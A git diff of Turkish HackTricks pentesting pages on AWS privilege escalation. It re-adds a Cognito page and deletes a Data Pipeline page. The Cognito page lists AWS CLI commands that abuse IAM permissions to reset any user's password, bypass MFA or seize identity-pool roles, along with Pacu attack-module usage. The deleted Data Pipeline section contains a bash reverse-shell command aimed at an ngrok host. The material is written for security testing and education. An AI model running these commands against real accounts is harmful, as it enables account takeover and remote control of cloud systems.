-Bu izne sahip bir saldırgan, örneğin kontrolü altında bir Cognito Kullanıcı Havuzu veya giriş yapabileceği başka bir kimlik sağlayıcısı ayarlayabilir **bu Cognito Kimlik Havuzuna erişim sağlamak için**. Ardından, sadece o kullanıcı sağlayıcısında **giriş yapmak**, **Kimlik Havuzundaki yapılandırılmış kimlik doğrulamalı role erişmesine izin verecektir**.
-```bash
-# This example is using a Cognito User Pool as identity provider
-## but you could use any other identity provider
-aws cognito-identity update-identity-pool \
---identity-pool-id  \
---identity-pool-name  \
-[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
---cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
-
-# Now you need to login to the User Pool you have configured
-## after having the id token of the login continue with the following commands:
-
-# In this step you should have already an ID Token
-aws cognito-identity get-id \
---identity-pool-id  \
---logins cognito-idp..amazonaws.com/=
-
-# Get the identity_id from thr previous commnad response
-aws cognito-identity get-credentials-for-identity \
---identity-id  \
---logins cognito-idp..amazonaws.com/=
-```
-Bu izni **temel kimlik doğrulamasını sağlamak için kötüye kullanmak** da mümkündür:
-```bash
-aws cognito-identity update-identity-pool \
---identity-pool-id  \
---identity-pool-name  \
---allow-unauthenticated-identities
---allow-classic-flow
-```
-**Olası Etki**: Kimlik havuzundaki yapılandırılmış kimlik doğrulamalı IAM rolünü tehlikeye atma.
-
-### `cognito-idp:AdminAddUserToGroup`
-
-Bu izin, **bir Cognito kullanıcısını bir Cognito grubuna eklemeye** olanak tanır, bu nedenle bir saldırgan bu izni kötüye kullanarak kontrolü altındaki bir kullanıcıyı **daha iyi** ayrıcalıklara veya **farklı IAM rollerine** sahip diğer gruplara ekleyebilir:
-```bash
-aws cognito-idp admin-add-user-to-group \
---user-pool-id  \
---username  \
---group-name 
-```
-**Olası Etki:** Diğer Cognito gruplarına ve Kullanıcı Havuz Gruplarına ekli IAM rollerine privesc.
-
-### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
-
-Bu izinlere sahip bir saldırgan, **herhangi bir ihlal edilmiş Cognito Kimlik Sağlayıcısı tarafından kullanılabilecek IAM rolü ile **gruplar oluşturup/güncelleyebilir** ve ihlal edilmiş bir kullanıcıyı grubun parçası yaparak bu rollere erişebilir:
-```bash
-aws cognito-idp create-group --group-name Hacked --user-pool-id  --role-arn 
-```
-**Olası Etki:** Diğer Cognito IAM rollerine privesc.
-
-### `cognito-idp:AdminConfirmSignUp`
-
-Bu izin, **bir kaydı doğrulamaya** olanak tanır. Varsayılan olarak, herkes Cognito uygulamalarına giriş yapabilir; eğer bu bırakılırsa, bir kullanıcı herhangi bir veriyle bir hesap oluşturabilir ve bu izinle doğrulayabilir.
-```bash
-aws cognito-idp admin-confirm-sign-up \
---user-pool-id  \
---username 
-```
-**Potansiyel Etki:** Yeni bir kullanıcı kaydedebiliyorsanız, kimlik havuzu IAM rolüne dolaylı privesc. Herhangi bir hesabı onaylayarak diğer uygulama işlevlerine dolaylı privesc.
-
-### `cognito-idp:AdminCreateUser`
-
-Bu izin, bir saldırganın kullanıcı havuzunda yeni bir kullanıcı oluşturmasına olanak tanır. Yeni kullanıcı etkin olarak oluşturulur, ancak şifresini değiştirmesi gerekecektir.
-```bash
-aws cognito-idp admin-create-user \
---user-pool-id  \
---username  \
-[--user-attributes ] ([Name=email,Value=email@gmail.com])
-[--validation-data ]
-[--temporary-password ]
-```
-**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan yetki yükseltme (privesc) için kimlik doğrulanmış kullanıcılar. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı yetki yükseltme (privesc).
-
-### `cognito-idp:AdminEnableUser`
-
-Bu izin, bir saldırganın devre dışı bırakılmış bir kullanıcının kimlik bilgilerini bulduğu ve onu **tekrar etkinleştirmesi** gerektiği çok uç bir senaryoda yardımcı olabilir.
-```bash
-aws cognito-idp admin-enable-user \
---user-pool-id  \
---username 
-```
-**Potansiyel Etki:** Saldırganın devre dışı bırakılmış bir kullanıcı için kimlik bilgileri varsa, kimlik havuzu IAM rolüne ve kullanıcının izinlerine dolaylı olarak erişim sağlanabilir.
-
-### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
-
-Bu izin, [**YÖNTEM ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)** ile giriş yapmaya olanak tanır.** Daha fazla bilgi için bağlantıyı takip edin.
-
-### `cognito-idp:AdminSetUserPassword`
-
-Bu izin, bir saldırgana **herhangi bir kullanıcının şifresini değiştirme** yetkisi vererek, çok faktörlü kimlik doğrulama (MFA) etkin olmayan herhangi bir kullanıcıyı taklit etmesine olanak tanır.
-```bash
-aws cognito-idp admin-set-user-password \
---user-pool-id  \
---username  \
---password  \
---permanent
-```
-**Potansiyel Etki:** Doğrudan privesc, potansiyel olarak herhangi bir kullanıcıya, dolayısıyla her kullanıcının üyesi olduğu tüm gruplara erişim ve Kimlik Havuzu kimlik doğrulamalı IAM rolüne erişim sağlar.
-
-### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
-
-**AdminSetUserSettings**: Bir saldırgan, bu izni kötüye kullanarak kontrolü altındaki bir cep telefonunu **bir kullanıcının SMS MFA'sı** olarak ayarlayabilir.
-```bash
-aws cognito-idp admin-set-user-settings \
---user-pool-id  \
---username  \
---mfa-options 
-```
-**SetUserMFAPreference:** Öncekine benzer şekilde, bu izin bir kullanıcının MFA tercihlerini ayarlamak için kullanılabilir ve MFA korumasını atlatabilir.
-```bash
-aws cognito-idp admin-set-user-mfa-preference \
-[--sms-mfa-settings ] \
-[--software-token-mfa-settings ] \
---username  \
---user-pool-id 
-```
-**SetUserPoolMfaConfig**: Öncekine benzer şekilde, bu izin bir kullanıcı havuzunun MFA tercihlerini ayarlamak için kullanılabilir ve MFA korumasını atlatabilir.
-```bash
-aws cognito-idp set-user-pool-mfa-config \
---user-pool-id  \
-[--sms-mfa-configuration ] \
-[--software-token-mfa-configuration ] \
-[--mfa-configuration ]
-```
-**UpdateUserPool:** Kullanıcı havuzunu MFA politikasını değiştirmek için güncellemek de mümkündür. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
-
-**Potential Impact:** Saldırganın kimlik bilgilerini bildiği herhangi bir kullanıcıya dolaylı yetki yükseltme, bu MFA korumasını atlamasına olanak tanıyabilir.
-
-### `cognito-idp:AdminUpdateUserAttributes`
-
-Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcının e-posta adresini veya telefon numarasını veya başka bir niteliğini değiştirerek, altta yatan bir uygulamada daha fazla yetki elde etmeye çalışabilir.\
-Bu, bir e-posta adresini veya telefon numarasını değiştirmeye ve bunu doğrulanmış olarak ayarlamaya olanak tanır.
-```bash
-aws cognito-idp admin-update-user-attributes \
---user-pool-id  \
---username  \
---user-attributes 
-```
-**Potansiyel Etki:** Kullanıcı özelliklerine dayalı olarak ayrıcalıklar veren Cognito Kullanıcı Havuzu'ndaki temel uygulamada potansiyel dolaylı ayrıcalık yükseltmesi.
-
-### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-
-Bu izne sahip bir saldırgan, mevcut havuz istemcilerinden **daha az kısıtlı yeni bir Kullanıcı Havuzu İstemcisi oluşturabilir**. Örneğin, yeni istemci herhangi bir türde kimlik doğrulama yöntemine izin verebilir, herhangi bir gizli anahtar bulundurmayabilir, token iptalini devre dışı bırakabilir, token'ların daha uzun süre geçerli olmasına izin verebilir...
-
-Aynı şey, yeni bir istemci oluşturmak yerine **mevcut birinin değiştirilmesiyle** de yapılabilir.
-
-[**komut satırında**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (veya [**güncelleme için**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) tüm seçenekleri görebilirsiniz, kontrol edin!
-```bash
-aws cognito-idp create-user-pool-client \
---user-pool-id  \
---client-name  \
-[...]
-```
-**Potansiyel Etki:** Kullanıcı Havuzu tarafından kullanılan Kimlik Havuzu yetkilendirilmiş kullanıcısına potansiyel dolaylı yetki yükseltme, güvenlik önlemlerini gevşeten ve bir saldırganın oluşturabildiği bir kullanıcı ile giriş yapmasını mümkün kılan yeni bir istemci oluşturarak.
-
-### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
-
-Bir saldırgan, yeni kullanıcılar ile birlikte bir csv yükleyerek bu izni kötüye kullanabilir.
-```bash
-# Create a new import job
-aws cognito-idp create-user-import-job \
---job-name  \
---user-pool-id  \
---cloud-watch-logs-role-arn 
-
-# Use a new import job
-aws cognito-idp start-user-import-job \
---user-pool-id  \
---job-id 
-
-# Both options before will give you a URL where you can send the CVS file with the users to create
-curl -v -T "PATH_TO_CSV_FILE" \
--H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
-```
-(Yeni bir içe aktarma işi oluşturduğunuzda, iam passrole iznine de ihtiyacınız olabilir, henüz test etmedim).
-
-**Olası Etki:** Kimlik havuzundaki doğrulanmış kullanıcılar için IAM rolüne doğrudan privesc. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı privesc.
-
-### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
-
-Bir saldırgan, bu sağlayıcı aracılığıyla **giriş yapabilmek için** yeni bir kimlik sağlayıcısı oluşturabilir.
-```bash
-aws cognito-idp create-identity-provider \
---user-pool-id  \
---provider-name  \
---provider-type  \
---provider-details  \
-[--attribute-mapping ] \
-[--idp-identifiers ]
-```
-**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan yetki yükseltme. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı yetki yükseltme.
-
-### cognito-sync:\* Analizi
-
-Bu, Cognito Kimlik Havuzlarındaki roller için varsayılan olarak çok yaygın bir izindir. İzinlerde bir joker karakter her zaman kötü görünse de (özellikle AWS'den geliyorsa), **verilen izinler bir saldırganın bakış açısında çok faydalı değildir**.
-
-Bu izin, Kimlik Havuzlarının kullanıcı bilgilerini ve Kimlik Havuzları içindeki Kimlik Kimliklerini okumaya olanak tanır (bu hassas bilgi değildir).\
-Kimlik Kimlikleri, oturum bilgilerini içeren [**Veri Setleri**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) ile ilişkilendirilmiş olabilir (AWS bunu **kaydedilmiş oyun** olarak tanımlar). Bunun bazı hassas bilgileri içermesi mümkün olabilir (ancak olasılık oldukça düşüktür). Bu bilgilere erişim için [**numaralandırma sayfasında**](../aws-services/aws-cognito-enum/) nasıl erişileceğini bulabilirsiniz.
-
-Bir saldırgan, bu izinleri kullanarak **bu veri setlerinde değişiklikleri yayınlayan bir Cognito akışına kaydolabilir** veya **cognito olaylarında tetiklenen bir lambda** kullanabilir. Bunun kullanıldığını görmedim ve burada hassas bilgiler beklemiyorum, ancak imkansız değil.
-
-### Otomatik Araçlar
-
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS istismar çerçevesi, artık bir hesapta tüm Cognito varlıklarının numaralandırılmasını otomatikleştiren ve zayıf yapılandırmaları, erişim kontrolü için kullanılan kullanıcı niteliklerini vb. işaret eden "cognito\_\_enum" ve "cognito\_\_attack" modüllerini içermektedir. Ayrıca, kullanıcı oluşturmayı (MFA desteği dahil) ve değiştirilebilir özel niteliklere, kullanılabilir kimlik havuzu kimlik bilgilerine, id token'larındaki üstlenilebilir rollere dayalı yetki yükseltmeyi otomatikleştirir.
-
-Modüllerin işlevlerinin açıklaması için [blog yazısının](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 2. kısmına bakın. Kurulum talimatları için ana [Pacu](https://github.com/RhinoSecurityLabs/pacu) sayfasına bakın.
-
-#### Kullanım
-
-Belirli bir kimlik havuzu ve kullanıcı havuzu istemcisi karşısında kullanıcı oluşturma ve tüm yetki yükseltme vektörlerini denemek için örnek cognito\_\_attack kullanımı:
-```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
-59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
-```
-Örnek cognito\_\_enum kullanımı, mevcut AWS hesabında görünen tüm kullanıcı havuzlarını, kullanıcı havuzu istemcilerini, kimlik havuzlarını, kullanıcıları vb. toplamak için:
-```bash
-Pacu (new:test) > run cognito__enum
-```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner), privesc yükselmesi de dahil olmak üzere Cognito'ya farklı saldırılar uygulayan bir python CLI aracıdır.
-
-#### Kurulum
-```bash
-$ pip install cognito-scanner
-```
-#### Kullanım
-```bash
-$ cognito-scanner --help
-```
-Daha fazla bilgi için [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) adresini kontrol edin.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
new file mode 100644
index 000000000..9c2962336
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md
@@ -0,0 +1,274 @@
+# AWS - Cognito Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Cognito hakkında daha fazla bilgi için:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Identity Pool'dan kimlik bilgileri toplama
+
+Cognito, hem **authenticated** hem de **unauthenticated** **users** için **IAM role credentials** verebildiğinden, bir uygulamanın **Identity Pool ID**'sini (muhtemelen uygulamada hardcoded olarak bulunur) tespit ederseniz yeni kimlik bilgileri elde edebilir ve dolayısıyla privesc gerçekleştirebilirsiniz (muhtemelen önceden hiçbir credential'ınızın olmadığı bir AWS hesabı içinde).
+
+Daha fazla bilgi için [**bu sayfaya bakın**](../../aws-unauthenticated-enum-access/index.html#cognito).
+
+**Potansiyel Etki:** unauth users'a atanmış servis rolüne doğrudan privesc (ve muhtemelen auth users'a atanmış olana da).
+
+### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
+
+Bu izin ile cognito uygulamasının **authenticated/unauthenticated users**'lerine herhangi bir **cognito role** atayabilirsiniz.
+```bash
+aws cognito-identity set-identity-pool-roles \
+--identity-pool-id  \
+--roles unauthenticated=
+
+# Get credentials
+## Get one ID
+aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
+## Get creds for that id
+aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
+```
+Eğer cognito uygulaması **doesn't have unauthenticated users enabled** ise, bunu etkinleştirmek için ayrıca `cognito-identity:UpdateIdentityPool` iznine ihtiyaç duyabilirsiniz.
+
+**Olası Etki:** Herhangi bir cognito role doğrudan privesc.
+
+### `cognito-identity:update-identity-pool`
+
+Bu izne sahip bir saldırgan, örneğin kontrolü altındaki bir Cognito User Pool'u veya giriş yapabileceği herhangi bir başka identity provider'ı **bu Cognito Identity Pool'a erişim yolu** olarak ayarlayabilir. Sonra, o kullanıcı sağlayıcısına sadece **login** olması, Identity Pool'da yapılandırılmış **authenticated role**'e erişmesine izin verecektir.
+```bash
+# This example is using a Cognito User Pool as identity provider
+## but you could use any other identity provider
+aws cognito-identity update-identity-pool \
+--identity-pool-id  \
+--identity-pool-name  \
+[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
+--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
+
+# Now you need to login to the User Pool you have configured
+## after having the id token of the login continue with the following commands:
+
+# In this step you should have already an ID Token
+aws cognito-identity get-id \
+--identity-pool-id  \
+--logins cognito-idp..amazonaws.com/=
+
+# Get the identity_id from thr previous commnad response
+aws cognito-identity get-credentials-for-identity \
+--identity-id  \
+--logins cognito-idp..amazonaws.com/=
+```
+Ayrıca bu izni **basic auth'a izin vermek için kötüye kullanmak** de mümkündür:
+```bash
+aws cognito-identity update-identity-pool \
+--identity-pool-id  \
+--identity-pool-name  \
+--allow-unauthenticated-identities
+--allow-classic-flow
+```
+**Potansiyel Etki**: identity pool içinde yapılandırılmış kimliği doğrulanmış IAM rolünün ele geçirilmesi.
+
+### `cognito-idp:AdminAddUserToGroup`
+
+Bu izin, **bir Cognito kullanıcısını bir Cognito grubuna eklemeye** olanak verir; bu nedenle bir saldırgan bu izni suistimal ederek kendi kontrolündeki bir kullanıcıyı diğer gruplara, **daha yüksek** ayrıcalıklara veya **farklı IAM rollere** sahip gruplara ekleyebilir:
+```bash
+aws cognito-idp admin-add-user-to-group \
+--user-pool-id  \
+--username  \
+--group-name 
+```
+**Potansiyel Etki:** Diğer Cognito gruplarına ve User Pool Groups'e bağlı IAM rollere Privesc.
+
+### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
+
+Bu izinlere sahip bir saldırgan, **gruplar oluşturma/güncelleme** ile **ele geçirilmiş bir Cognito Identity Provider tarafından kullanılabilecek tüm IAM rolleri** içeren gruplar oluşturup/güncelleyebilir ve ele geçirilmiş bir kullanıcıyı grubun üyesi yaparak bu rollere erişim sağlayabilir:
+```bash
+aws cognito-idp create-group --group-name Hacked --user-pool-id  --role-arn 
+```
+**Olası Etki:** Privesc diğer Cognito IAM rollerine.
+
+### `cognito-idp:AdminConfirmSignUp`
+
+Bu izin **bir kayıt doğrulamaya** olanak tanır. Varsayılan olarak Cognito uygulamalarına herkes kaydolabilir; eğer bu bırakılırsa, bir kullanıcı herhangi bir bilgilerle bir hesap oluşturup bu izinle doğrulayabilir.
+```bash
+aws cognito-idp admin-confirm-sign-up \
+--user-pool-id  \
+--username 
+```
+**Potansiyel Etki:** Eğer yeni bir kullanıcı kaydedebiliyorsanız, authenticated users için identity pool IAM role'üne dolaylı privesc elde edilebilir. Ayrıca herhangi bir hesabı onaylayabilme yeteneği uygulamanın diğer işlevlerine de dolaylı privesc sağlar.
+
+### `cognito-idp:AdminCreateUser`
+
+Bu izin, bir saldırganın user pool içinde yeni bir kullanıcı oluşturmasına izin verir. Yeni kullanıcı etkin (enabled) olarak oluşturulur, ancak şifresini değiştirmesi gerekir.
+```bash
+aws cognito-idp admin-create-user \
+--user-pool-id  \
+--username  \
+[--user-attributes ] ([Name=email,Value=email@gmail.com])
+[--validation-data ]
+[--temporary-password ]
+```
+**Olası Etki:** Doğrudan doğrulanmış kullanıcılar için identity pool IAM role üzerinde privesc. Herhangi bir kullanıcı oluşturabilen diğer uygulama işlevlerine dolaylı privesc
+
+### `cognito-idp:AdminEnableUser`
+
+Bu izin, saldırganın devre dışı bir kullanıcının kimlik bilgilerini bulduğu ve onu **tekrar etkinleştirmek** zorunda olduğu çok nadir bir kenar durumunda yardımcı olabilir.
+```bash
+aws cognito-idp admin-enable-user \
+--user-pool-id  \
+--username 
+```
+**Potential Impact:** Authenticated users için identity pool IAM role'a dolaylı privesc ve eğer saldırganın credentials'ı olan bir disabled user varsa o kullanıcının permissions'larına erişim.
+
+### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
+
+Bu izin, [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)** ile giriş yapmaya izin verir.** Daha fazla bilgi için bağlantıyı takip edin.
+
+### `cognito-idp:AdminSetUserPassword`
+
+Bu izin, bir saldırganın **herhangi bir kullanıcının şifresini değiştirmesine** olanak tanır; bu da MFA etkin olmayan herhangi bir kullanıcıyı taklit etmesine izin verir.
+```bash
+aws cognito-idp admin-set-user-password \
+--user-pool-id  \
+--username  \
+--password  \
+--permanent
+```
+**Potential Impact:** Potansiyel olarak herhangi bir kullanıcıya doğrudan privesc sağlama; bu nedenle her kullanıcının üye olduğu tüm gruplara ve Identity Pool authenticated IAM role'e erişim.
+
+### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
+
+**AdminSetUserSettings**: Bir saldırgan bu izni kötüye kullanarak kontrolündeki bir cep telefonunu **SMS MFA'sı** olarak ayarlayabilir.
+```bash
+aws cognito-idp admin-set-user-settings \
+--user-pool-id  \
+--username  \
+--mfa-options 
+```
+**SetUserMFAPreference:** Öncekine benzer şekilde, bu izin bir kullanıcının MFA tercihlerini ayarlamak ve MFA korumasını bypass etmek için kullanılabilir.
+```bash
+aws cognito-idp admin-set-user-mfa-preference \
+[--sms-mfa-settings ] \
+[--software-token-mfa-settings ] \
+--username  \
+--user-pool-id 
+```
+**SetUserPoolMfaConfig**: Öncekine benzer şekilde, bu izin bir user pool'un MFA tercihlerini ayarlamak için kullanılabilir ve MFA korumasını atlamaya olanak tanır.
+```bash
+aws cognito-idp set-user-pool-mfa-config \
+--user-pool-id  \
+[--sms-mfa-configuration ] \
+[--software-token-mfa-configuration ] \
+[--mfa-configuration ]
+```
+**UpdateUserPool:** User pool'u güncelleyerek MFA politikasını değiştirmek de mümkündür. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+
+**Potential Impact:** Saldırganın kimlik bilgilerini bildiği herhangi bir kullanıcıya dolaylı privesc; bu, MFA korumasını atlamaya izin verebilir.
+
+### `cognito-idp:AdminUpdateUserAttributes`
+
+Bu izne sahip bir saldırgan, kontrolündeki bir kullanıcının e-posta, telefon numarası veya diğer herhangi bir attribute'unu değiştirerek alttaki bir uygulamada daha fazla ayrıcalık elde etmeye çalışabilir.\
+Bu, bir e-posta veya telefon numarasını değiştirmeye ve doğrulanmış olarak işaretlemeye izin verir.
+```bash
+aws cognito-idp admin-update-user-attributes \
+--user-pool-id  \
+--username  \
+--user-attributes 
+```
+**Potential Impact:** Cognito User Pool kullanan ve kullanıcı özniteliklerine göre ayrıcalık veren temel uygulamada potansiyel dolaylı privesc.
+
+### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
+
+Bir saldırgan bu izne sahip olduğunda, mevcut havuz istemcilerinden daha az kısıtlı bir yeni **User Pool Client oluşturabilir**. Örneğin, yeni client herhangi bir kimlik doğrulama yöntemine izin verebilir, herhangi bir secret içermeyebilir, token iptali devre dışı olabilir, tokenların daha uzun süre geçerli olmasına izin verebilir...
+
+Aynı şey, yeni bir client oluşturmak yerine bir **mevcut client değiştirilirse** de yapılabilir.
+
+[**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) üzerinden tüm seçenekleri görebilirsiniz, inceleyin!
+```bash
+aws cognito-idp create-user-pool-client \
+--user-pool-id  \
+--client-name  \
+[...]
+```
+**Potansiyel Etki:** User Pool tarafından kullanılan Identity Pool yetkili kullanıcısına dolaylı privesc yol açabilir; güvenlik önlemlerini gevşeten yeni bir client oluşturarak saldırganın oluşturduğu bir kullanıcıyla giriş yapabilmesine olanak tanır.
+
+### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
+
+Bir saldırgan bu izni kötüye kullanarak yeni kullanıcıların bulunduğu bir csv yükleyip kullanıcılar oluşturabilir.
+```bash
+# Create a new import job
+aws cognito-idp create-user-import-job \
+--job-name  \
+--user-pool-id  \
+--cloud-watch-logs-role-arn 
+
+# Use a new import job
+aws cognito-idp start-user-import-job \
+--user-pool-id  \
+--job-id 
+
+# Both options before will give you a URL where you can send the CVS file with the users to create
+curl -v -T "PATH_TO_CSV_FILE" \
+-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
+```
+(In the case where you create a new import job you might also need the iam passrole permission, I haven't tested it yet).
+
+**Potansiyel Etki:** Kimliği doğrulanmış kullanıcılar için identity pool IAM rolüne doğrudan privesc. Uygulamanın herhangi bir kullanıcı oluşturabilme gibi diğer işlevlerine dolaylı privesc.
+
+### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
+
+Bir saldırgan yeni bir identity provider oluşturabilir ve ardından **bu sağlayıcı üzerinden giriş yapabilir**.
+```bash
+aws cognito-idp create-identity-provider \
+--user-pool-id  \
+--provider-name  \
+--provider-type  \
+--provider-details  \
+[--attribute-mapping ] \
+[--idp-identifiers ]
+```
+**Olası Etki:** Doğrulanmış kullanıcılar için identity pool IAM role'e doğrudan privesc. Herhangi bir kullanıcı oluşturabilen diğer uygulama işlevlerine dolaylı privesc.
+
+### cognito-sync:\* Analizi
+
+Bu, Cognito Identity Pools rollerinde varsayılan olarak çok yaygın bir izindir. İzinlerdeki wildcard her zaman kötü görünse de (özellikle AWS'den geliyorsa), **verilen izinler saldırgan açısından çok kullanışlı değil**.
+
+Bu izin, Identity Pools ve Identity Pools içindeki Identity ID'lerin kullanım bilgilerini okumaya izin verir (bu hassas bir bilgi değildir).\
+Identity ID'lere [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) atanmış olabilir; bunlar oturum bilgileri olup (AWS bunu **saved game** olarak tanımlar) bazı hassas bilgileri içerebilir (ancak olasılık oldukça düşüktür). Bu bilgilere nasıl erişileceğini [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) sayfasında bulabilirsiniz.
+
+Bir saldırgan bu izinleri ayrıca bu dataset'lerdeki değişiklikleri yayınlayan bir Cognito stream'e **kayıt olmak** veya cognito olaylarında tetiklenen bir **lambda** kullanmak için de kullanabilir. Ben bunun kullanıldığını görmedim ve burada hassas bilgi beklemem, ama imkansız değil.
+
+### Otomatik Araçlar
+
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, artık "cognito\_\_enum" ve "cognito\_\_attack" modüllerini içeriyor; bu modüller bir hesapta tüm Cognito varlıklarının enumerasyonunu otomatikleştirir ve zayıf konfigürasyonları, erişim kontrolü için kullanılan kullanıcı özniteliklerini vb. işaretler; ayrıca kullanıcı oluşturmayı (MFA desteği dahil) ve değiştirilebilir custom attributes, kullanılabilir identity pool kimlik bilgileri, id token'larda assumable roller vb. temelinde privilege escalation'ı otomatikleştirir.
+
+Modüllerin işlev açıklaması için [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)un 2. bölümüne bakın. Kurulum talimatları için ana [Pacu](https://github.com/RhinoSecurityLabs/pacu) sayfasına bakın.
+
+#### Kullanım
+
+Belirli bir identity pool ve user pool client'e karşı kullanıcı oluşturmayı ve tüm privesc vektörlerini denemek için örnek cognito\_\_attack kullanımı:
+```bash
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
+59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
+```
+Mevcut AWS hesabında görünen tüm kullanıcı havuzları, kullanıcı havuzu istemcileri, kimlik havuzları, kullanıcılar vb. toplamak için örnek cognito__enum kullanımı:
+```bash
+Pacu (new:test) > run cognito__enum
+```
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) python ile yazılmış bir CLI aracı olup, Cognito üzerinde çeşitli attacks uygular; privesc escalation da içerir.
+
+#### Kurulum
+```bash
+$ pip install cognito-scanner
+```
+#### Kullanım
+```bash
+$ cognito-scanner --help
+```
+Daha fazla bilgi için şu adresi inceleyin [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
deleted file mode 100644
index 4bbd8327f..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ /dev/null
@@ -1,68 +0,0 @@
-# AWS - Datapipeline Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## datapipeline
-
-datapipeline hakkında daha fazla bilgi için kontrol edin:
-
-{{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
-{{#endref}}
-
-### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
-
-Bu **izinlere sahip kullanıcılar, atanan rolün izinlerini kullanarak rastgele komutlar çalıştırmak için bir Data Pipeline oluşturarak ayrıcalıkları artırabilir:**
-```bash
-aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
-```
-Pipeline oluşturulduktan sonra, saldırgan belirli eylemleri veya kaynak oluşturmayı belirlemek için tanımını günceller:
-```json
-{
-"objects": [
-{
-"id": "CreateDirectory",
-"type": "ShellCommandActivity",
-"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
-"runsOn": { "ref": "instance" }
-},
-{
-"id": "Default",
-"scheduleType": "ondemand",
-"failureAndRerunMode": "CASCADE",
-"name": "Default",
-"role": "assumable_datapipeline",
-"resourceRole": "assumable_datapipeline"
-},
-{
-"id": "instance",
-"name": "instance",
-"type": "Ec2Resource",
-"actionOnTaskFailure": "terminate",
-"actionOnResourceFailure": "retryAll",
